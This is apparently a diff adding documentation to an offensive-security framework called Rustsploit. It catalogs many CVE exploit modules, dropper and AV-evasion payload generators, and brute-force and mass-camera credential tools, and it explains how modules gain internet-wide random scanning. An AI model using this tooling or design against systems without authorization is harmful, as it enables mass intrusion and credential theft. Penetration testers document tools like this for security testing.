### Network Infrastructure -- SonicWall
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce` | SonicWall SMA1000 series remote code execution (CVE-2025-40602) |
|
||||
|
||||
### Network Infrastructure -- Trend Micro
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/trend_micro/cve_2025_5777` | Trend Micro MsgReceiver DLL loading for unauthenticated RCE on port 20001 |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69258` | Trend Micro Apex Central unauthenticated command injection via Login.aspx |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69259` | Trend Micro MsgReceiver out-of-bounds read DoS (CVE-2025-69259) |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69260` | Trend Micro MsgReceiver unchecked NULL return value DoS (CVE-2025-69260) |
|
||||
|
||||
### Network Infrastructure -- VMware
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085` | ESXi authentication bypass via Active Directory 'ESX Admins' group manipulation (CVE-2024-37085) |
|
||||
| `exploits/network_infra/vmware/esxi_vm_escape_check` | ESXi VM escape chain vulnerability check and IOC detection (CVE-2025-22224/22225/22226) |
|
||||
| `exploits/network_infra/vmware/esxi_vsock_client` | VSOCK client for communicating with VSOCKpuppet backdoor on compromised ESXi hosts |
|
||||
| `exploits/network_infra/vmware/vcenter_backup_rce` | vCenter Server authenticated RCE via flag injection in backup.validate API (CVSS 7.2) |
|
||||
| `exploits/network_infra/vmware/vcenter_file_read` | vCenter Server authenticated partial arbitrary file read via RVC command (CVSS 4.9) |
|
||||
| `exploits/network_infra/vmware/vcenter_rce_cve_2024_37079` | vCenter Server heap-overflow RCE via DCERPC protocol on port 443 (CVE-2024-37079) |
|
||||
|
||||
### Payload Generators
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/payloadgens/batgen` | Creates multi-stage .bat dropper chains with PowerShell download and execution |
|
||||
| `exploits/payloadgens/lnkgen` | Malicious Windows LNK files for SMB NTLMv2-SSP hash disclosure (CVE-2025-50154, CVE-2025-59214) |
|
||||
| `exploits/payloadgens/narutto_dropper` | Polymorphic 3-stage stealth droppers with LOLBAS support and anti-VM evasion |
|
||||
| `exploits/payloadgens/payload_encoder` | Payload encoding (XOR, base64, hex, zero-width, etc.) for AV evasion |
|
||||
| `exploits/payloadgens/polymorph_dropper` | 3-stage polymorphic payload chain using Task Scheduler for persistence |
|
||||
|
||||
### Routers -- D-Link
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/dlink/dlink_dcs_930l_auth_bypass` | D-Link DCS-930L/932L unauthenticated config disclosure and credential extraction |
|
||||
|
||||
### Routers -- Netgear
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646` | Netgear R6700v3 pre-auth buffer overflow RCE in circled daemon (CVE-2022-27646) |
|
||||
|
||||
### Routers -- Palo Alto
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/palo_alto/panos_authbypass_cve_2025_0108` | PAN-OS auth bypass via path traversal in authentication mechanism (CVE-2025-0108) |
|
||||
| `exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463` | Palo Alto Expedition unauthenticated OS command injection (CVE-2024-9463) |
|
||||
| `exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400` | PAN-OS GlobalProtect gateway unauthenticated OS command injection (CVE-2024-3400) |
|
||||
|
||||
### Routers -- Ruijie
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644` | Ruijie device auth bypass to RCE on routers, switches, and access points (CVE-2023-34644) |
|
||||
| `exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874` | Ruijie Reyee cloud-connected device SSRF (CVE-2024-48874) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415` | Ruijie RG-EW1200G auth bypass via crafted JSON login request (CVE-2023-4415) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169` | Ruijie RG-EW1200G unauthenticated admin password reset (CVE-2023-4169) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164` | Ruijie RG-EW Series firmware update command injection RCE (CVE-2021-43164) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508` | Ruijie RG-UAC unauthenticated command injection via static_route_edit (CVE-2024-4508) |
|
||||
| `exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616` | Ruijie RSR10-01G-T-S authenticated command injection via diagnostics (CVE-2024-31616) |
|
||||
|
||||
### Routers -- Tenda
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353` | Tenda CP3 IP camera unauthenticated RCE via YGMP_CMD on UDP 5012 (CVE-2023-30353) |
|
||||
|
||||
### Routers -- TP-Link
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/tplink/tapo_c200_vulns` | TP-Link Tapo C200 multiple vulns: WiFi info leak, ONVIF overflow, HTTPS integer overflow |
|
||||
| `exploits/routers/tplink/tplink_archer_c2_c20i_rce` | TP-Link Archer C2/C20i authenticated command injection via diagnostics |
|
||||
| `exploits/routers/tplink/tplink_archer_c9_password_reset` | TP-Link Archer C9/C60 unauthenticated password reset via predictable PRNG |
|
||||
| `exploits/routers/tplink/tplink_archer_rce_cve_2024_53375` | TP-Link Archer/Deco/Tapo authenticated command injection via OwnerId (CVE-2024-53375) |
|
||||
| `exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375` | TP-Link Archer AX1800 authenticated command injection via NTP server field |
|
||||
| `exploits/routers/tplink/tplink_deco_m4_rce` | TP-Link Deco M4 default credential check and ping command injection |
|
||||
| `exploits/routers/tplink/tplink_tapo_c200` | TP-Link Tapo C200 IP camera command injection via setLanguage method |
|
||||
| `exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457` | TP-Link VIGI C385 authenticated buffer overflow RCE (CVE-2026-1457) |
|
||||
| `exploits/routers/tplink/tp_link_vn020_dos` | TP-Link VN020 UPnP DoS via malformed AddPortMapping SOAP request |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_backdoor` | TP-Link WDR740N debug page command execution with hardcoded credentials |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_path_traversal` | TP-Link WDR740N/ND path traversal for arbitrary file read via /help/ |
|
||||
| `exploits/routers/tplink/tplink_wdr842n_configure_disclosure` | TP-Link WDR842N config download and DES decryption for credential extraction |
|
||||
| `exploits/routers/tplink/tplink_wr740n_dos` | TP-Link TL-WR740N web server buffer overflow DoS |
|
||||
|
||||
### Routers -- Ubiquiti
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376` | Ubiquiti EdgeRouter X command injection in web management (CVE-2023-2376) |
|
||||
|
||||
### Routers -- ZTE
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass` | ZTE ZXV10 H201L auth bypass via config leak and DDNS command injection |
|
||||
|
||||
### Routers -- Zyxel
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890` | Zyxel legacy CPE unauthenticated HTTP command injection (CVE-2024-40890) |
|
||||
|
||||
### SSH
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433` | Erlang/OTP SSH server unauthenticated RCE (CVE-2025-32433) |
|
||||
| `exploits/ssh/libssh_auth_bypass_cve_2018_10933` | libSSH server authentication bypass (CVE-2018-10933) |
|
||||
| `exploits/ssh/openssh_regresshion_cve_2024_6387` | OpenSSH sshd signal handler race condition for unauthenticated RCE (CVE-2024-6387) |
|
||||
| `exploits/ssh/opensshserver_9_8p1race_condition` | OpenSSH 9.8p1 race condition for heap-based RCE |
|
||||
| `exploits/ssh/sshpwn_auth_passwd` | OpenSSH auth2-passwd.c password length DoS, change info leak, timing enumeration |
|
||||
| `exploits/ssh/sshpwn_pam` | OpenSSH auth-pam.c environment injection, memory leak DoS, username validation bypass |
|
||||
| `exploits/ssh/sshpwn_scp_attacks` | OpenSSH SCP path traversal, command injection, and brace expansion DoS |
|
||||
| `exploits/ssh/sshpwn_session` | OpenSSH session.c forced command bypass, env injection, privsep issues |
|
||||
| `exploits/ssh/sshpwn_sftp_attacks` | OpenSSH SFTP symlink injection, chmod setuid abuse, path traversal, partial write |
|
||||
|
||||
### Telnet
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/telnet/telnet_auth_bypass_cve_2026_24061` | Telnet authentication bypass on vulnerable devices (CVE-2026-24061) |
|
||||
|
||||
### VoIP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | FreePBX filestore module post-authentication command injection (CVE-2025-64328) |
|
||||
|
||||
### Web Applications
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/webapps/craftcms_key_rce_cve_2025_23209` | Craft CMS RCE when application security key is known or leaked (CVE-2025-23209) |
|
||||
| `exploits/webapps/craftcms_rce_cve_2025_47726` | Craft CMS RCE via Server-Side Template Injection (CVE-2025-47726) |
|
||||
| `exploits/webapps/dify/cve_2025_56157_dify_default_creds` | Dify default PostgreSQL credentials (postgres:difyai123456) exposure check (CVE-2025-56157) |
|
||||
| `exploits/webapps/flowise/cve_2024_31621` | Flowise 1.6.5 unauthenticated credentials endpoint access (CVE-2024-31621) |
|
||||
| `exploits/webapps/flowise/cve_2025_59528_flowise_rce` | Flowise < 3.0.5 unauthenticated API RCE (CVE-2025-59528) |
|
||||
| `exploits/webapps/langflow_rce_cve_2025_3248` | Langflow unauthenticated RCE via Python exec() in code validation (CVE-2025-3248) |
|
||||
| `exploits/webapps/laravel_livewire_rce_cve_2025_47949` | Laravel Livewire RCE via unsafe deserialization (CVE-2025-47949) |
|
||||
| `exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce` | MCPJam Inspector <= 1.4.2 unauthenticated RCE (CVE-2026-23744) |
|
||||
| `exploits/webapps/n8n/n8n_rce_cve_2025_68613` | n8n workflow automation RCE via expression injection (CVE-2025-68613) |
|
||||
| `exploits/webapps/react/react2shell` | React Server Components / Next.js RCE via RSC Flight protocol deserialization |
|
||||
| `exploits/webapps/roundcube/roundcube_postauth_rce` | Roundcube webmail post-auth RCE via deserialization in file upload |
|
||||
| `exploits/webapps/sap_netweaver_rce_cve_2025_31324` | SAP NetWeaver Visual Composer unauthenticated file upload to RCE (CVE-2025-31324) |
|
||||
| `exploits/webapps/sharepoint/cve_2024_38094` | SharePoint Server authenticated deserialization RCE via .bdcm upload (CVE-2024-38094) |
|
||||
| `exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce` | SharePoint on-premises unauthenticated deserialization RCE (CVE-2025-53770) |
|
||||
| `exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce` | SolarWinds Web Help Desk unauthenticated Java deserialization RCE (CVE-2025-40551) |
|
||||
| `exploits/webapps/spotube/spotube` | Spotube API path traversal via WebSocket and denial of service |
|
||||
| `exploits/webapps/termix/termix_xss_cve_2026_22804` | Termix File Manager stored XSS via SVG upload in Electron context (CVE-2026-22804) |
|
||||
| `exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156` | Vitepos for WooCommerce authenticated arbitrary PHP file upload (CVE-2025-13156) |
|
||||
| `exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600` | Bricks Builder for WordPress unauthenticated RCE via render_element (CVE-2024-25600) |
|
||||
| `exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000` | LiteSpeed Cache weak hash brute force for WordPress admin escalation (CVE-2024-28000) |
|
||||
| `exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended` | Royal Elementor Addons unauthenticated PHP webshell upload |
|
||||
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | XWiki SolrSearch unauthenticated RCE via Groovy template injection (CVE-2025-24893) |
|
||||
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Zabbix 7.0.0 time-based SQL injection in API endpoints |
|
||||
|
||||
### Windows
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/windows/windows_dwm_cve_2026_20805` | Windows DWM kernel object pointer leak for KASLR bypass (CVE-2026-20805) |
|
||||
|
||||
---
|
||||
|
||||
## Scanners
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `scanners/api_endpoint_scanner` | REST API endpoint discovery and vulnerability scanner with fuzzing, auth bypass, and injection detection |
|
||||
| `scanners/dir_brute` | HTTP directory and file enumeration via wordlist with recursive scanning and evasion techniques |
|
||||
| `scanners/dns_recursion` | Open DNS resolver and amplification attack detection |
|
||||
| `scanners/honeypot_scanner` | Honeypot indicator detection by probing 50 common TCP ports |
|
||||
| `scanners/http_method_scanner` | HTTP method enumeration to identify dangerous or misconfigured endpoints |
|
||||
| `scanners/http_title_scanner` | HTTP/HTTPS page title fetcher for target fingerprinting |
|
||||
| `scanners/ipmi_enum_exploit` | IPMI version detection, cipher 0 bypass, default credentials, and RAKP hash dumping |
|
||||
| `scanners/nbns_scanner` | NBNS name queries to UDP 137 for Windows host discovery |
|
||||
| `scanners/ping_sweep` | Host discovery via ICMP echo, TCP connect, SYN, and ACK probes with CIDR support |
|
||||
| `scanners/port_scanner` | TCP/UDP port scanner with service detection, banner grabbing, and configurable ranges |
|
||||
| `scanners/redis_scanner` | Redis instance discovery and unauthenticated access detection |
|
||||
| `scanners/sample_scanner` | Demonstration scanner checking HTTP/HTTPS reachability and response codes |
|
||||
| `scanners/sequential_fuzzer` | Character-based HTTP fuzzer with 10+ encodings, custom charsets, and concurrent requests |
|
||||
| `scanners/service_scanner` | Service port banner grabbing and version identification |
|
||||
| `scanners/smtp_user_enum` | SMTP username enumeration via VRFY commands with wordlist scanning |
|
||||
| `scanners/snmp_scanner` | SNMP v1/v2c community string testing against target devices |
|
||||
| `scanners/source_port_scanner` | Firewall bypass scanner discovering which source ports are allowed through |
|
||||
| `scanners/ssdp_msearch` | UPnP device discovery via SSDP M-SEARCH multicast and unicast probes |
|
||||
| `scanners/ssh_scanner` | SSH banner grabbing with CIDR range support and concurrent scanning |
|
||||
| `scanners/ssl_scanner` | SSL/TLS certificate and configuration analysis, expired certificate detection |
|
||||
| `scanners/stalkroute_full_traceroute` | Advanced traceroute with ICMP/TCP/UDP probes, OS fingerprint spoofing, and decoy packets |
|
||||
| `scanners/subdomain_scanner` | Subdomain brute-force enumeration via DNS resolution |
|
||||
| `scanners/vnc_scanner` | VNC protocol version and security type enumeration |
|
||||
| `scanners/waf_detector` | Web Application Firewall and CDN provider detection via HTTP response analysis |
|
||||
|
||||
---
|
||||
|
||||
## Credential Modules
|
||||
|
||||
### Generic
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/generic/ssh_bruteforce` | SSH password brute force with default credential testing, combo mode, and subnet scanning |
|
||||
| `creds/generic/rdp_bruteforce` | RDP auth brute force with NLA, TLS, Standard RDP, and Negotiate security levels |
|
||||
| `creds/generic/ftp_bruteforce` | FTP/FTPS brute force with combo mode, concurrent connections, and subnet scanning |
|
||||
| `creds/generic/telnet_bruteforce` | Telnet brute force with full IAC negotiation, multiple attack modes, and subnet scanning |
|
||||
| `creds/generic/smtp_bruteforce` | SMTP auth brute force supporting PLAIN and LOGIN mechanisms with combo mode |
|
||||
| `creds/generic/pop3_bruteforce` | POP3/POP3S brute force with SSL/TLS support, retry logic, and subnet scanning |
|
||||
| `creds/generic/mqtt_bruteforce` | MQTT 3.1.1 auth testing with TLS/SSL, anonymous detection, and multiple attack modes |
|
||||
| `creds/generic/snmp_bruteforce` | SNMPv1/v2c community string brute force with read/write detection and subnet scanning |
|
||||
| `creds/generic/rtsp_bruteforce` | RTSP auth brute force for IP cameras with path bruting and custom headers |
|
||||
| `creds/generic/l2tp_bruteforce` | L2TP/IPsec VPN CHAP auth brute force against L2TP concentrators |
|
||||
| `creds/generic/fortinet_bruteforce` | Fortinet FortiGate SSL VPN web auth brute force with certificate pinning and realm support |
|
||||
| `creds/generic/ftp_anonymous` | FTP anonymous access check with FTPS, IPv4/IPv6, and mass scanning support |
|
||||
| `creds/generic/telnet_hose` | Mass internet Telnet default credential scanner with 500 workers and disk-based state |
|
||||
| `creds/generic/ssh_user_enum` | SSH username enumeration via timing-based side-channel attack (CVE-2018-15473 inspired) |
|
||||
| `creds/generic/ssh_spray` | SSH password spray across multiple targets with lockout-aware delays |
|
||||
| `creds/generic/enablebruteforce` | Raises file descriptor limits (ulimit) for high-concurrency brute-force operations |
|
||||
| `creds/generic/sample_cred_check` | Sample module testing HTTP Basic Auth with default admin:admin credentials |
|
||||
|
||||
### Camera
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/camera/acti/acti_camera_default` | ACTi IP camera default credential check across FTP, SSH, Telnet, and HTTP |
|
||||
|
||||
### Camxploit
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/camxploit/camxploit` | Mass camera discovery and default credential testing across RTSP, HTTP, and HTTPS |
|
||||
|
||||
---
|
||||
|
||||
## Plugins
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit plugin API with mass scan and cfg_prompt integration |
|
||||
@@ -0,0 +1,279 @@
|
||||
# Module Development
|
||||
|
||||
Reference for maintainers and contributors writing new Rustsploit modules.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit uses a build-time code-generation approach — no manual registry:
|
||||
|
||||
1. **`build.rs` scan** — Before compilation, `build.rs` recursively walks `src/modules/` looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection** — A file that exposes `pub async fn run(` is treated as a callable module.
|
||||
3. **Name generation** — Both a *short name* (`ssh_bruteforce`) and a *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission** — Generated files are written into `OUT_DIR` (not the source tree):
|
||||
- `exploit_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `plugins_dispatch.rs`
|
||||
- `module_registry.rs`
|
||||
|
||||
Each dispatch file contains an exhaustive `match` mapping names → `use crate::modules::...::run`. The registry file provides a unified module listing across all categories.
|
||||
5. **Shell + CLI resolution** — `use exploits/foo` or `--module foo` both resolve through the dispatcher.
|
||||
|
||||
Because it's generated at build time, there is **no manual registry drift** as long as modules live in the correct folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
|
||||
---
|
||||
|
||||
## Project Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point — CLI or shell mode, input validation
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── api.rs # REST API server — auth, rate limiting, hardening
|
||||
│ ├── config.rs # Global config and target validation
|
||||
│ ├── module_info.rs # ModuleInfo, CheckResult, ModuleRank types
|
||||
│ ├── global_options.rs # Persistent global options (setg/unsetg)
|
||||
│ ├── cred_store.rs # Credential store (JSON persistence)
|
||||
│ ├── spool.rs # Console output logging
|
||||
│ ├── workspace.rs # Host/service tracking + workspaces
|
||||
│ ├── loot.rs # Loot/evidence management
|
||||
│ ├── export.rs # JSON/CSV/summary report export
|
||||
│ ├── jobs.rs # Background job management
|
||||
│ ├── commands/
|
||||
│ │ ├── mod.rs # Module discovery, fuzzy matching, multi-target dispatch
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── scanner.rs
|
||||
│ │ └── creds.rs
|
||||
│ ├── modules/
|
||||
│ │ ├── exploits/ # Exploit modules (137 modules, 24 with check)
|
||||
│ │ ├── scanners/ # Scanner modules (24 modules)
|
||||
│ │ ├── creds/ # Credential modules (19 modules)
|
||||
│ │ └── plugins/ # Plugin modules (1 module)
|
||||
│ ├── native/ # Native integrations
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── rdp.rs # xfreerdp/rdesktop wrapper
|
||||
│ │ ├── payload_engine.rs # Payload encoding/generation
|
||||
│ │ ├── url_encoding.rs # URL encoding utilities
|
||||
│ │ └── async_tls.rs # Async TLS helpers
|
||||
│ └── utils/ # Shared helpers (directory module)
|
||||
│ ├── mod.rs # Re-exports
|
||||
│ ├── prompt.rs # Config-aware prompts (cfg_prompt_*)
|
||||
│ ├── sanitize.rs # Input validation, length limits
|
||||
│ ├── target.rs # Target normalization (IPv4/IPv6/CIDR/hostname)
|
||||
│ ├── network.rs # Network utilities
|
||||
│ └── modules.rs # Module discovery helpers
|
||||
├── docs/ # This wiki
|
||||
├── lists/ # Wordlists and data files
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Required Module Signature
|
||||
|
||||
Every module **must** export:
|
||||
|
||||
```rust
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Optional: also expose `pub async fn run_interactive(target: &str) -> Result<()>` for modules with multiple code paths.
|
||||
|
||||
---
|
||||
|
||||
## Optional Module Functions
|
||||
|
||||
Modules can optionally provide metadata and vulnerability check functions. These are auto-detected by `build.rs` alongside `run()`:
|
||||
|
||||
### Module Info (`info`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Exploit Module".to_string(),
|
||||
description: "Exploits CVE-XXXX-YYYY in FooBar device firmware.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec![
|
||||
"CVE-XXXX-YYYY".to_string(),
|
||||
"https://example.com/advisory".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `info` shell command and `GET /api/module/{category}/{name}` endpoint display this metadata.
|
||||
|
||||
**Rank values:** `Excellent` (reliable, no crash risk), `Great`, `Good` (default), `Normal`, `Low`, `Manual`.
|
||||
|
||||
### Vulnerability Check (`check`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::CheckResult;
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// Non-destructive verification — do NOT exploit
|
||||
match test_vulnerability(target).await {
|
||||
Ok(true) => CheckResult::Vulnerable("Version 1.2.3 is affected".to_string()),
|
||||
Ok(false) => CheckResult::NotVulnerable("Patched version detected".to_string()),
|
||||
Err(e) => CheckResult::Error(format!("Check failed: {}", e)),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `check` shell command and `POST /api/check` endpoint run this without exploitation.
|
||||
|
||||
### Auto-Store Credentials and Loot
|
||||
|
||||
Modules can auto-store discovered data:
|
||||
|
||||
```rust
|
||||
// Store a found credential
|
||||
crate::cred_store::store_credential(host, port, "ssh", username, password,
|
||||
crate::cred_store::CredType::Password, "creds/generic/ssh_bruteforce");
|
||||
|
||||
// Store loot (config file, hash dump, etc.)
|
||||
crate::loot::store_loot(host, "config", "Router config dump", data.as_bytes(), "exploits/router_rce");
|
||||
|
||||
// Track a discovered host/service
|
||||
crate::workspace::track_host(ip, Some("router.local"), Some("Linux 4.x"));
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Adding a New Module — Checklist
|
||||
|
||||
1. **Choose a location** under `src/modules/{exploits,scanners,creds}`.
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **Create the `.rs` file** with the required `pub async fn run` signature.
|
||||
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs`.
|
||||
Without this, `build.rs` ignores the file.
|
||||
4. **Run `cargo check`** — the dispatcher is regenerated automatically.
|
||||
|
||||
---
|
||||
|
||||
## Module Skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use colored::Colorize;
|
||||
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_yes_no};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 80).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
println!("{} Checking {}:{}", "[*]".cyan(), target, port);
|
||||
|
||||
let url = format!("http://{}:{}/status", target, port);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("Failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("Failed to read response body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("{} {} appears vulnerable", "[+]".green(), target);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("{} Response: {}", "[*]".cyan(), body);
|
||||
}
|
||||
println!("{} {} not vulnerable", "[-]".red(), target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output Conventions
|
||||
|
||||
| Prefix | Color | Meaning |
|
||||
|--------|-------|---------|
|
||||
| `[+]` | Green | Success / found |
|
||||
| `[-]` | Red | Not found / not vulnerable |
|
||||
| `[!]` | Yellow | Warning |
|
||||
| `[*]` | Cyan | Info / progress |
|
||||
|
||||
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
|
||||
|
||||
---
|
||||
|
||||
## Async I/O Guidelines
|
||||
|
||||
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
|
||||
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
|
||||
- For concurrency:
|
||||
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
|
||||
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
|
||||
|
||||
---
|
||||
|
||||
## Error Handling
|
||||
|
||||
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
|
||||
|
||||
```rust
|
||||
.with_context(|| format!("Failed to connect to {}", target))?
|
||||
```
|
||||
|
||||
Avoid `unwrap()` and `unwrap_or_default()` in critical paths.
|
||||
|
||||
---
|
||||
|
||||
## Wordlists & Resources
|
||||
|
||||
Store under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Dispatch
|
||||
|
||||
The framework's command dispatcher (`src/commands/mod.rs`) automatically handles multiple target types for **all** modules. Module authors do not need to implement multi-target logic themselves -- the dispatcher wraps each module's `run()` function and handles:
|
||||
|
||||
- **Comma-separated targets**: `192.168.1.1,192.168.1.2,10.0.0.1` -- splits and dispatches each entry individually.
|
||||
- **CIDR subnets**: `192.168.1.0/24` -- expands the subnet and runs the module against each host IP.
|
||||
- **File-based target lists**: If the target string is a path to an existing file, each line is read and dispatched as a separate target.
|
||||
- **Random mass scan**: `0.0.0.0`, `0.0.0.0/0`, or `random` -- generates random public IPs in an infinite loop (Ctrl+C to stop).
|
||||
|
||||
This means a module that only handles a single host in its `run()` function automatically gains subnet scanning, file-based targeting, and mass-scan capability through the framework.
|
||||
|
||||
---
|
||||
|
||||
## 0.0.0.0/0 Internet-Wide Scanning
|
||||
|
||||
Modules supporting mass-scan accept `0.0.0.0`, `0.0.0.0/0`, or `random` as targets. When detected, the module enters an infinite loop generating random public IPs using:
|
||||
|
||||
```rust
|
||||
fn generate_random_public_ip() -> Ipv4Addr { ... }
|
||||
fn is_excluded_ip(ip: Ipv4Addr) -> bool { ... }
|
||||
```
|
||||
|
||||
The `EXCLUDED_RANGES` constant covers bogons, private, reserved, documentation CIDRs, and public DNS servers. Copy this pattern from an existing mass-scan module (e.g., `telnet_hose` or `hikvision_rce`).
|
||||
|
||||
Honeypot detection is disabled in mass-scan mode to avoid interactive prompts.
|
||||
@@ -0,0 +1,182 @@
|
||||
# Security & Input Validation
|
||||
|
||||
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
|
||||
|
||||
---
|
||||
|
||||
## Validation Constants
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `sanitize.rs` | `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
